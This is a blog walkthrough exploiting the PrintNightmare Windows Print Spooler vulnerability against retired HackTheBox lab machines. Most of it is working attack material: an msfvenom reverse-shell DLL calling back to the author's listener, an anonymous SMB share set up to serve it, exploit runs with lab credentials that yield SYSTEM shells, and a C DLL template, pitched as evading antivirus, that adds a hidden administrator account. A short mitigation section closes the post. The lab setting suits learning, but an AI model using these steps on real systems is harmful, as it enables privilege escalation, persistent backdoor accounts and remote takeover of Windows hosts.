On Twitter, I’ve been seeing a lot of tweets about a remote code execution vulnerability in the Windows Print Spooler service, known as PrintNightmare, that could be used for privilege escalation. Furthermore, this vulnerability affects all the Windows versions.

CVE-2021-34527 has been assigned to the vulnerability. This vulnerability was accidentally disclosed by security researchers from China, Zhiniang Peng and Xuefeng Li, after Microsoft released a security patch on June 8, 2021 for CVE-2021-1675, which is also a remote code execution in the Print Spooler service. The researchers thought their finding was CVE-2021-1675, but it turned out to be different.

In this post, I want to play around with the PrintNightmare PoC to own Windows retired machines from HackTheBox. I’m neither an expert nor an infosec pro, so I won’t dive into any technical thing about the vulnerability.

Preparation

There are several PoC exploits out there for PrintNightmare, but I will use the one that created by Cube0x0.

To use the exploit, I will have to change my impacket version to the one that has been modified by Cube0x0. And to avoid conflict that could mess up other Python tools, I will use a Python virtual environment using virtualenv module. If you don’t have it, install with:

$ python3 -m pip install virtualenv

The exploit also requires a DLL for later to be loaded on the target machines. This DLL will be hosted on a Samba/SMB server, and it should be configured to allow anonymous access, so that the exploit can directly grab the DLL over SMB.

Working Directory

To create a virtual environment, I will first create a working directory under /opt. I will just name it as printnightmare.

→ kali@kali «opt» «10.10.14.75» 
$ mkdir printnightmare && cd printnightmare

I will clone the cube0x0 impacket repo as well as the exploit (CVE-2021-1675-cube0x0) in the working directory.

→ kali@kali «printnightmare» «10.10.14.75» 
$ git clone https://github.com/cube0x0/impacket && git clone https://github.com/cube0x0/CVE-2021-1675.git CVE-2021-1675-cube0x0

Next, I will create a virtual environment called impacket-venv using virtualenv.

→ kali@kali «printnightmare» «10.10.14.75» 
$ virtualenv impacket-venv
created virtual environment CPython3.9.2.final.0-64 in 614ms
  creator CPython3Posix(dest=/opt/printnightmare/impacket-venv, clear=False, no_vcs_ignore=False, global=False)
  seeder FromAppData(download=False, pip=bundle, setuptools=bundle, wheel=bundle, via=copy, app_data_dir=/home/kali/.local/share/virtualenv)
    added seed packages: pip==21.1.3, setuptools==57.1.0, wheel==0.36.2
  activators BashActivator,CShellActivator,FishActivator,PowerShellActivator,PythonActivator,XonshActivator

Then, I will activate the virtual environment with the following commands.

→ kali@kali «printnightmare» «10.10.14.75» 
$ source impacket-venv/bin/activate

Now I can just install the cube0x0 impacket safely.

(impacket-venv) → kali@kali «printnightmare» «10.10.14.75» 
$ cd impacket && python3 setup.py install
running install
running bdist_egg
running egg_info
...[SNIP]...

DLL Payload

I will create a dll folder first under the printnightmare folder.

(impacket-venv) → kali@kali «printnightmare» «10.10.14.75» 
$ mkdir dll

And then I will use msfvenom to generate reverse shell DLL .

(impacket-venv) → kali@kali «dll» «10.10.14.75» 
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.75 LPORT=4444 -f dll > revshell.dll  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

Samba Server Configuration

The exploit repo includes a guide on how to configure a Samba server for hosting the DLL payload in the README file, so I will use that for reference.

First, I will create a backup of the original Samba configuration file.

(impacket-venv) → kali@kali «printnightmare» «10.10.14.75» 
$ sudo cp /etc/samba/smb.conf{,.bak}

Then I will replace the entire smb.conf contents with the following:

[global]
   server role = standalone server
   smb ports = 445
   map to guest = bad user
   usershare allow guests = yes
   idmap config * : backend = tdb
   log file = /var/log/samba/log.%m
   max log size = 1000
   logging = file
   
[ef]
    comment = Samba
    path = /opt/printnightmare/dll
    guest ok = yes
    read only = no
    browsable = yes

Lastly, I will start the Samba service.

(impacket-venv) → kali@kali «printnightmare» «10.10.14.75» 
$ sudo systemctl start smbd 

Target Machines

As stated previously, I will be using HackTheBox retired machines as the targets. Here are the retired Windows machines that I will use along with their low privilege users.

TargetIPLow Priv Credentials [username:password]
Active10.10.10.100svc_tgs:GPPstillStandingStrong2k18
Bastion10.10.10.134l4mpje:bureaulampje
Heist10.10.10.149hazard:stealth1agent
Forest10.10.10.161svc-alfresco:s3rvice
Atom10.10.10.237jason:kidvscat_electron_@123

Target Scanning

According to this blog post by Splunk Threat Researcher Team, there are three prerequisites for successful exploitation of PrintNightmare:

  1. Print Spooler Service enabled on the target system
  2. Network connectivity to the target system (initial access has been obtained)
  3. Hash or password for a low privileged user (or computer) account

Since no. 2 and no. 3 are satisfied already, now I just need to verify if the Print Spooler service enabled on the targets.

As instructed by the exploit author, I can use rpcdump.py to determine whether the Spooler service is running.

$ rpcdump.py @[IP-ADDRESS] | egrep 'MS-RPRN|MS-PAR'

I figured out that rpcclient can also be used to detect the availability of Print Spooler service by invoking enumprinters command. If the returned output is “Could not initialise spoolss”, then the Print Spooler is most likely to be disabled.

The following is a dirty bash script I created as a wrapper for checking via rpcdump.py and rpcclient in one run.

#!/bin/sh

targets=$1

if [ -z "$targets" ]; then
  echo "[-] Usage\t: $0 [Target file]" 
  echo "[-] File format : <ip>:<username>:<password> | 127.0.0.1:foo:bar"
  else
	for target in `cat $targets`; do
		 ip=$(echo $target | cut -d ':' -f1)
		 username=$(echo $target | cut -d ':' -f2)
		 password=$(echo $target | cut -d ':' -f3)
		 echo  " - [$ip] - " 
		 impacket-rpcdump $ip | egrep 'MS-RPRN|MS-PAR'
		 rpcclient -U "$username%$password" $ip -c "enumprinters;quit"
	done
fi

I saved the script as detect-nightmare.sh . I ran the script and it returned the following results.

→ kali@kali «printnightmare» «10.10.14.75» 
$ ./detect-nightmare.sh target-machines
 - [10.10.10.100] - 
Protocol: [MS-RPRN]: Print System Remote Protocol 
Could not initialise spoolss. Error was NT_STATUS_OBJECT_NAME_NOT_FOUND
 - [10.10.10.134] - 
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 
No printers returned.
 - [10.10.10.149] - 
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 
No printers returned.
 - [10.10.10.161] - 
Could not initialise spoolss. Error was NT_STATUS_OBJECT_NAME_NOT_FOUND
 - [10.10.10.237] - 
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 
No printers returned.

Based on the results above, Active and Forest don’t seem to be vulnerable, but I will still test them out!

Exploitation 1st Attempt

Active (failed)

As expected, on Active the exploit is failed.

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py active.htb/SVC_TGS:'GPPstillStandingStrong2k18'@10.10.10.100 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.100[\PIPE\spoolss]
[-] Connection Failed

Bastion (failed)

I ran the exploit against Bastion, and it connected but then the DLL got removed by AV 😂.

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py Bastion/l4mpje:'bureaulampje'@10.10.10.134 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.134[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_1734185bdb8f8610\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\revshell.dll
[*] Try 1...
Traceback (most recent call last):
...[SNIP]...
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0xe1 - ERROR_VIRUS_INFECTED - Operation did not complete successfully because the file contains a virus or potentially unwanted software

Heist (success)

On Heist, the exploit didn’t show any indication of a successful exploitation.

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py heist/hazard:'stealth1agent'@10.10.10.149 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.149[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\revshell.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
...[SNIP]...
impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)

But strangely, I got a shell on my listener. I’ll try to figure this out in the Troubleshoot section.

→ kali@kali «printnightmare» «10.10.14.75» 
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.10.149] 49700
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
SupportDesk

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::c138:bcba:454d:8b9c
   Link-local IPv6 Address . . . . . : fe80::c138:bcba:454d:8b9c%15
   IPv4 Address. . . . . . . . . . . : 10.10.10.149
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%15
                                       10.10.10.2

Forest (failed)

Similar to Active, the exploit also failed on Forest.

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py htb.local/svc-alfresco:'s3rvice'@10.10.10.161 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.161[\PIPE\spoolss]
[-] Connection Failed

Atom (success)

On Atom, the exploit returned the same result as on Heist, no indication of a successful exploitation.

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main) 
$ python3 CVE-2021-1675.py ATOM/jason:'kidvscat_electron_@123'@10.10.10.237 '\\10.10.14.75\ef\revshell.dll'
[*] Connecting to ncacn_np:10.10.10.237[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\revshell.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
...[SNIP]...
impacket.smbconnection.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)

But then the DLL connected to my listener.

→ kali@kali «printnightmare» «10.10.14.75» 
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.10.237] 62322
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>hostname
hostname
ATOM

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::6036:234d:b46e:b7d
   Temporary IPv6 Address. . . . . . : dead:beef::6193:2da2:279d:6fea
   Temporary IPv6 Address. . . . . . : dead:beef::94cf:8412:6dc6:a8ed
   Link-local IPv6 Address . . . . . : fe80::6036:234d:b46e:b7d%6
   IPv4 Address. . . . . . . . . . . : 10.10.10.237
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:271c%6
                                       10.10.10.2

Exploitation 2nd Attempt

Changing DLL Payload

I’m sure that the following error was caused by my DLL payload.

impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)

Instead of using the DLL to create a malicious user (so it’s just one-time load/execution/thread/I don’t know), I used the DLL for reverse shell, which requires it to maintain the pipe. Without digging deeper, this was my best guess atm.

Now let’s see if changing the payload will get rid of the error.

I will use the following script which I stole from this PoC script created by Caleb Stewart and John Hammond to generate a new DLL (I’m lazy to compile a new one from scratch) :

To generate the DLL, I’ll just invoke Get-NightmareDLL within a PowerShell session.

PS /opt/PrintNightmare/dll> Import-Module ./generate-nightmaredll.ps1
PS /opt/PrintNightmare/dll> Get-NightmareDLL
[+] Created payload at /opt/printnightmare/dll/nightmare.dll

Now when I ran the exploit again on Atom, it didn’t crash this time, instead it showed the indication of a successful exploitation.

(impacket-venv) → kali@kali «CVE-2021-1675-cube0x0» «10.10.14.75» git:(main)$ python3 CVE-2021-1675.py ATOM/jason:'kidvscat_electron_@123'@10.10.10.237 '\\10.10.14.75\ef\nightmare.dll'
[*] Connecting to ncacn_np:10.10.10.237[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.75\ef\nightmare.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Stage2: 0
[+] Exploit Completed

Now I can login with credentials of adm1n:P@ssw0rd (default credentials from the stolen payload) using evil-winrm.

→ kali@kali «dll» «10.10.14.75» 
$ evil-winrm -i 10.10.10.237 -u 'adm1n' -p 'P@ssw0rd'                                                       

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\adm1n\Documents> whoami /groups | select-string "Administrators"

NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner


*Evil-WinRM* PS C:\Users\adm1n\Documents> hostname
ATOM

AV Evasion with self-compile

Another issue I ran into during the demo was that the payload got removed by Microsoft Defender on Bastion. Using a self compile DLL payload from BookHackTrick DLL templates can resolve this (I should do this earlier 😅🔨).

The following is the template that I use.

// stolen from https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking#your-own
// compile: x86_64-w64-mingw32-gcc add_user_1.c -shared -o add_user.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
    system("cmd.exe /c net user iamf <password> /add");
    system("cmd.exe /c net localgroup administrators iamf /add");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:
            CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

The code can be compiled from Linux using mingw-w64 compiler (sudo apt install mingw-w64). I will run the following command to compile the DLL.

$ x86_64-w64-mingw32-gcc add_user_1.c -shared -o add_user.dll

On Bastion, although the exploit successfully evade the AV and the malicious user was added into the machine, I’m unable to login via WinRM. However, impacket-psexec worked.

image-20210730191657750

And I found out that Invoke-Command from localhost is allowed.

image-20210730192152601

So, I guess the WinRM on Bastion was configured to only allow admin account for remote access. I couldn’t get the “right” keywords to google this. Below are what I’ve tried so far:

$ winrm get winrm/config
$ winrm get winrm/config/listener
$ (Get-PSSessionConfiguration -Name Microsoft.PowerShell).Permission
$ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
$ reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Mitigation

Microsoft provided two options as workarounds to mitigate PrintNightmare:

  • Disable Print Spooler service
  • Disable inbound remote printing through Group Policy.

Also, it is recommended to install KB5005010 patch. I have no idea to work with the second option from CLI, so I will demo the first one.

Disable Print Spooler Service

Based on Microsoft guidance, I need to determine if the Print Spooler Service is running by using Get-Service -Name Spooler in PowerShell. If the service is running, stop and disable it by running the following commands in PowerShell consecutively.

$ Stop-Service -Name Spooler -Force
$ Set-Service -Name Spooler -StartupType Disabled

I will run that on Bastion.

*Evil-WinRM* PS C:\> Get-Service -Name Spooler 

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler


*Evil-WinRM* PS C:\> Stop-Service -Name Spooler -Force
*Evil-WinRM* PS C:\> Set-Service -Name Spooler -StartupType Disabled

After disabling Spooler service, I ran the exploit again, but this time, it returned a “Connection Failed” message.

image-20210717133929589

The workaround is worked! But, the downside is that you loss the ability to print from both local and remote 🙃.

For more detailed mitigation, you can go to this GitHub repo.

References